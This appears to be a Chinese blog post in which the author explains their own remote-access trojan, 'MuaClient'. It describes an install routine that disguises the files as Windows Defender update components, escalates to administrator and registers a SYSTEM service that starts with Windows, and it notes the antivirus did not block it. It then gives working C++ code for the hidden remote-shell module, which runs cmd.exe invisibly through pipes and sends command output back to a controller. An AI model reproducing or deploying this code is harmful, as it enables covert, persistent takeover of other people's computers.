![「深度解析」有关某木马编程解析插图 「深度解析」有关某木马编程解析插图](https://blog.eswlnk.com/wp-content/uploads/wpcy/96637ce85c8b2b6ebd4f626bcf5c9573.jpg)
关于安装
Debug编译的话,只生成MuaClient.exe,用于测试。命令行下MuaClient.exe Host Port
即可运行。
Release编译的话,生成MuaClient.dll,InstallMuaClient.exe,SystemService.exe.
InstallMuaClient.exe用于安装MuaClient被控端。安装时三个文件需在同一文件夹内。
InstallMuaClient.exe
首先将MuaClient.dll
和SystemService.exe
复制到C:\Users\当前用户名\AppData\Roaming\Windows Defender
,分别重命名为WindowsDefenderAutoUpdate.dll
和WindowsDefenderAutoUpdate.exe
。然后通过rundll32调用MuaClient.dll
重命名后的WindowsDefenderAutoUpdate.dll
里面的WindowsUpdate函数,用于提权后以管理员权限再次执行InstallMuaClient.exe
。此时将SystemService.exe
重命名后的WindowsDefenderAutoUpdate.exe
添加为系统服务,同时设置为开机自启,并启动此服务。
这样就完成了安装,此后就会以系统服务的形式开机自启。权限是SYSTEM。
没怎么做免杀,但是目前的效果似乎还可以。
InstallMuaClient.exe:
MuaClient.dll:
SystemService.exe:
测试的时候一直开着火绒,安装的时候,全程没有拦截。只有通过命令行添加新用户的时候拦截了一下。不过好像正常的用户通过命令行添加新用户也会拦截。
关于测试
我是在win10上开发的,环境是vs2017。
请务必在虚拟机内测试。
MuaClient是32位的,使用InstallMuaClient.exe安装后即可。
MuaServer源码中没有限定64位或32位,不过开发和测试都是以32位为主,64位具体能不能用我没测试。运行时需要将相应的HPSocket_??.dll放在程序所在目录,该dll可在.\MuaServer\HPSocket
中找到。
远程SHELL
远程SHELL的实现,可以分两部分,一是如何在本地与CMD.exe进行数据的交互,二是数据在网络中的传输。
网络通信
简单说下通信。
主控端发起请求,向被控端发送SHELL_CONNECT包
被控端接收请求后,初始化相应的环境,打开cmd.exe进程,然后响应SHELL_CONNECT包
主控端发送SHELL_EXECUTE包,包体是要执行的命令。
被控端接收后,将要执行的命令通过匿名管道写入cmd.exe。
然后被控端循环读取命令的执行结果,并向主控端发送SHELL_EXECUTE_RESULT封包,包体是执行结果。
本地交互
首先介绍一下管道:
管道是一种用于在进程间共享数据的机制,其实质是一段共享内存。Windows系统为这段共享的内存设计采用数据流I/0的方式来访问。由一个进程读、另一个进程写,类似于一个管道两端,因此这种进程间的通信方式称作“管道”。
管道分为匿名管道和命名管道。
匿名管道只能在父子进程间进行通信,不能在网络间通信,而且数据传输是单向的,只能一端写,另一端读。
命令管道可以在任意进程间通信,通信是双向的,任意一端都可读可写,但是在同一时间只能有一端读、一端写。
在这里,我们可以创建两条匿名管道,一条用来向cmd.exe进程中写数据,一条用来从cmd.exe进程中读数据。
同时,需要注意到,cmd.exe有的时候执行的命令进程不会中止,比如ping -t iyzyi.com
,这个会一直循环下去。但是我们最后关闭cmd.exe的时候,并不会关闭这个ping.exe进程。因为windows中关闭父进程,并不会关闭相应的子进程。所以这里我们需要设置一个作业,并将cmd进程和这个作业相关联。这样的话,cmd.exe进程关闭的时候,其所有的子进程都会关闭。
Windows提供了一个作业(job)内核对象,它允许我们将进程组合在一起并创建一个“沙箱”来限制进程能够做什么。最好将作业对象想象成一个进程容器。但是创建只包含一个进程的作业同样非常有用,因为这样可以对进程施加平时不能施加的限制。
DWORD WINAPI CModuleShellRemote::RunCmdProcessThreadFunc(LPVOID lParam)
{
CModuleShellRemote* pThis = (CModuleShellRemote*)lParam;
STARTUPINFO si;
PROCESS_INFORMATION pi;
SECURITY_ATTRIBUTES sa;
HANDLE hRead = NULL;
HANDLE hWrite = NULL;
HANDLE hRead2 = NULL;
HANDLE hWrite2 = NULL;
WCHAR pszSystemPath[MAX_PATH] = { 0 };
WCHAR pszCommandPath[MAX_PATH] = { 0 };
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
//创建匿名管道
if (!CreatePipe(&hRead, &hWrite2, &sa, 0)) {
goto Clean;
}
if (!CreatePipe(&hRead2, &hWrite, &sa, 0)) {
goto Clean;
}
pThis->m_hRead = hRead;
pThis->m_hWrite = hWrite;
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdInput = hRead2;
si.hStdError = hWrite2;
si.hStdOutput = hWrite2;
si.wShowWindow =SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
// 获取系统目录
GetSystemDirectory(pszSystemPath, sizeof(pszSystemPath));
// 拼接成启动cmd.exe的命令
StringCbPrintf(pszCommandPath, MAX_PATH, L"%s\\cmd.exe", pszSystemPath);
// 创建作业
// 一开始没用作业,结果只能中止cmd进程,但是它的子进程,比如ping -t xxx.com,没法中止。杀掉父进程,子进程仍会运行,所以改用作业
pThis->m_hJob = CreateJobObject(NULL, NULL);
// 创建CMD进程
if (!CreateProcess(pszCommandPath, NULL, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
DebugPrint("error = 0x%x\n", GetLastError());
goto Clean;
}
// 将cmd进程添加到作业中
AssignProcessToJobObject(pThis->m_hJob, pi.hProcess);
// 创建好进程后就向主控端发送CONNECT响应包。
pThis->m_pChildSocketClient->SendPacket(SHELL_CONNECT, NULL, 0);
SetEvent(pThis->m_hSendPacketShellRemoteConnectEvent);
// 等待关闭
WaitForSingleObject(pThis->m_pChildSocketClient->m_hChildSocketClientExitEvent, INFINITE);
Clean:
//释放句柄
if (hRead != NULL) {
CloseHandle(hRead);
hRead = NULL;
pThis->m_hRead = NULL;
}
if (hRead2 != NULL) {
CloseHandle(hRead2);
hRead2 = NULL;
}
if (hWrite != NULL) {
CloseHandle(hWrite);
hWrite = NULL;
pThis->m_hWrite = NULL;
}
if (hWrite2 != NULL) {
CloseHandle(hWrite2);
hWrite2 = NULL;
}
return 0;
}
// 本函数只将要执行的命令写入CMD进程的缓冲区,执行结果由另一线程负责循环读取并发送
VOID WINAPI CModuleShellRemote::OnRecvPacketShellRemoteExecute(LPVOID lParam) {
SHELL_REMOTE_EXECUTE_THREAD_PARAM* pThreadParam = (SHELL_REMOTE_EXECUTE_THREAD_PARAM*)lParam;
CModuleShellRemote* pThis = pThreadParam->m_pThis;
CPacket* pPacket = pThreadParam->m_pPacket;
CSocketClient* pSocketClient = pPacket->m_pSocketClient;
delete pThreadParam;
CHAR pszCommand[SHELL_MAX_LENGTH];
DWORD dwBytesWritten = 0;
EnterCriticalSection(&pThis->m_ExecuteCs);
WideCharToMultiByte(CP_ACP, 0, (PWSTR)pPacket->m_pbPacketBody, -1, pszCommand, SHELL_MAX_LENGTH, NULL, NULL);
strcat_s(pszCommand, "\r\n");
if (pThis->m_hWrite != NULL) {
WriteFile(pThis->m_hWrite, pszCommand, strlen(pszCommand), &dwBytesWritten, NULL);
}
LeaveCriticalSection(&pThis->m_ExecuteCs);
if (pPacket != nullptr) {
delete pPacket;
pPacket = nullptr;
}
}
// 循环从缓冲区读取命令的执行结果,并发送给主控端
VOID CModuleShellRemote::LoopReadAndSendCommandReuslt() {
BYTE SendBuf[SEND_BUFFER_MAX_LENGTH];
DWORD dwBytesRead = 0;
DWORD dwTotalBytesAvail = 0;
while (m_hRead != NULL)
{
// 触发关闭事件时跳出循环,结束线程。
if (WAIT_OBJECT_0 == WaitForSingleObject(m_pChildSocketClient->m_hChildSocketClientExitEvent, 0)) {
break;
}
while (true) {
// 和ReadFile类似,但是这个不会删掉已读取的缓冲区数据,而且管道中没有数据时可以立即返回。
// 而在管道中没有数据时,ReadFile会阻塞掉,所以我用PeekNamedPipe来判断管道中有数据,以免阻塞。
PeekNamedPipe(m_hRead, SendBuf, sizeof(SendBuf), &dwBytesRead, &dwTotalBytesAvail, NULL);
if (dwBytesRead == 0) {
break;
}
dwBytesRead = 0;
dwTotalBytesAvail = 0;
// 我的需求是取一次运行结果就清空一次已读取的缓冲区,所以PeekNamedPipe仅用来判断管道是否为空,取数据还是用ReadFile
BOOL bReadSuccess = ReadFile(m_hRead, SendBuf, sizeof(SendBuf), &dwBytesRead, NULL);
if (WAIT_OBJECT_0 != WaitForSingleObject(m_pChildSocketClient->m_hChildSocketClientExitEvent, 0)) {
m_pChildSocketClient->SendPacket(SHELL_EXECUTE_RESULT, (PBYTE)SendBuf, dwBytesRead);
}
memset(SendBuf, 0, sizeof(SendBuf));
dwBytesRead = 0;
Sleep(100);
}
}
}
📮评论